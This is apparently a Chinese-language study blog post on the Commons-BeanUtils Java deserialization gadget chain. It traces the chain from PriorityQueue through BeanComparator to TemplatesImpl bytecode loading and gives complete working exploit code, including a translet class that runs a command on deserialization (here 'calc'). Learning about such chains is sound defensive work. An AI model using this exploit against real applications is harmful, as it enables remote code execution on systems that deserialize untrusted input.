CB链

学习文章:https://drun1baby.top/2022/07/12/CommonsBeanUtils%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

环境搭建

还是和之前CC链一样用的jdk8u65

依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
</dependencies>

CommonsBeanUtils简介

在 Apache Commons 工具集下除了collections以外还有BeanUtils,它主要用于操控 JavaBean

以 Utils 结尾,一般都是一个工具类

JavaBean

JavaBean的概念

廖雪峰老师的文章:https://liaoxuefeng.com/books/java/oop/core/javabean/index.html

JavaBean是一种符合特定命名规范的Java类,特征:

基本规范:

  • 包含多个 private 实例字段
  • 通过规范的gettersetter方法来读写字段
  • 方法命名遵循:
    • 读方法:public Type getXyz()
    • 写方法:public void setXyz(Type value)
    • boolean字段特殊:读方法为pubilc boolean isXyz()

属性概念:

  • 一组对应的gettersetter方法称为一个属性
  • 只有getter的属性:只读属性
  • 只有setter的属性:只写属性
  • 属性不一定需要对应字段,可以通过方法计算得出

在 IDE 中可以自动生成gettersetter方法

使用Introspector.getBeanInfo()可枚举所有属性

CommonsBeanUtils中操作JavaBean类

比如写一个简单的 JavaBean 类:

1
2
3
4
5
6
7
8
9
10
11
public class Person {
private String name = "Suzen";

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

定义了两个简单的gettersetter方法

CommonsBeanUtils 中提供了一个静态方法PropertyUtils.getProperty,可以让使用者调用任意 JavaBean 的getter方法

举个例子:

1
2
3
4
5
6
7
import org.apache.commons.beanutils.PropertyUtils;

public class Test {
public static void main(String[] args) throws Exception{
System.out.println(PropertyUtils.getProperty(new Person(),"name"));
}
}

image-20260209201500450

CommonsBeanUtils 会自动找到Person类中的name属性的getter方法(即getName()方法),然后调用并获取返回值

这就可以想到能任意函数调用

分析链子

CB链的前面是和 CC2 或 CC4 的前面部分差不多一样的,尾部就是利用的动态加载 TemplatesImpl 字节码执行代码

image-20260209202127491

看一下逻辑图差不多是这样的,在TemplatesImpl#newTransformer()也可以多一步TemplatesImpl#getOutputProperties(),总体来说链子是:

1
2
3
4
5
	TemplatesImpl#getOutputProperties()
=> TemplatesImpl#newTransformer()
=> TemplatesImpl#getTransletInstance()
=> TemplatesImpl#defineTransletClasses()
=> TransletClassLoader#defineClass()

在链子的最开头的TemplatesImpl#getOutputProperties()是一个getter方法,并且作用域是public

image-20260209202536791

所以就可以通过刚才说的 CommonsBeanUtils 中的PropertyUtils.getProperty方法获取到,比如:

1
2
// 伪代码
PropertyUtils.getProperty(TemplatesImpl, outputProperties)

这是个伪代码,实际写的时候肯定不是这样

然后就是要看谁调用了PropertyUtils.getProperty()

image-20260209203512289

这里BeanComparatorcompare()方法就很好,因为经常会用到,被其他方法调用,继续找哪里调用的这个方法

之前CC链里学过了 CC2 和 CC4 就可以很容易想到PriorityQueue.siftDownUsingComparator()会调用到compare()方法,看一下逻辑图:

image-20260209204119499

在 CC2 和 CC4 中是去调用的TransformingComparator.compare(),这里直接改成去调用BeanComparator.compare()就行了

总结一下:

所以 CB 链就是用 CC2 或CC4 前面部分的链子,在PriorityQueue.siftDownUsingComparator()后去调用BeanComparator.compare(),继而调用到PropertyUtils.getProperty(),然后就可以利用其可以调用任意 JavaBean 的getter方法的特性,去调用到身为getter方法的TemplatesImpl#getOutputProperties(),再往后就是利用动态加载 TemplatesImpl 字节码执行代码

逻辑图

image-20260209214254414

构造EXP

先把其他的工具方法写好:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void setField(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws Exception{
java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static void unserialize(String Filename) throws Exception{
java.io.FileInputStream fis = new java.io.FileInputStream(Filename);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
ois.readObject();
ois.close();
}

还有准备好加载的恶意类Calc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

尾部的是利用动态加载 TemplatesImpl 字节码执行代码,直接从之前 CC 链中写好的拿过来用

1
2
3
4
5
6
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "CB");
byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class"));
byte[][] codes = {code};
setField(templates, "_bytecodes",codes);
setField(templates, "_tfactory",new TransformerFactoryImpl());

然后是中间的BeanComparator.compare()PropertyUtils.getProperty()

先去看一下BeanComparator.compare()

image-20260209214912290

compare()方法传入两个对象o1o2,先判断this.property是否为null

  • 如果为null:直接比较这俩对象
  • 如果不为null:用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值

所以需要新建一个PriorityQueue 的队列,让其中的两个值进行比较

看一下BeanComparator的构造函数,这里就选第一个无参的吧

image-20260209221624481

然后通过反射来给property进行赋值,将其修改为outputProperties(这种赋值最好都用反射来进行设置)

1
2
BeanComparator<Object> beanComparator = new BeanComparator<>();
setField(beanComparator,"property","outputProperties");

最后就是直接把 CC2 或 CC4 的前面部分拿来用了,这里也用反射,否则会提前在序列化的时候执行

1
2
3
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2,beanComparator);
setField(priorityQueue,"size",2);
setField(priorityQueue,"queue",new Object[]{templates, templates});

加上序列化和反序列化的

1
2
serialize(priorityQueue);
unserialize("ser.bin");

先序列化,没问题,没有提前执行

image-20260209222026816

然后反序列化,成功弹计算器了

image-20260209222104699

完整EXP

CB.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB {
public static void setField(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws Exception{
java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static void unserialize(String Filename) throws Exception{
java.io.FileInputStream fis = new java.io.FileInputStream(Filename);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
ois.readObject();
ois.close();
}

public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "CB");
byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class"));
byte[][] codes = {code};
setField(templates, "_bytecodes",codes);
setField(templates, "_tfactory",new TransformerFactoryImpl());

BeanComparator<Object> beanComparator = new BeanComparator<>();
setField(beanComparator,"property","outputProperties");

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2,beanComparator);
setField(priorityQueue,"size",2);
setField(priorityQueue,"queue",new Object[]{templates, templates});

serialize(priorityQueue);
// unserialize("ser.bin");
}
}

本地用来测试的恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}


CB链
https://yschen20.github.io/2026/02/09/CB链/
作者
Suzen
发布于
2026年2月9日
更新于
2026年2月9日
许可协议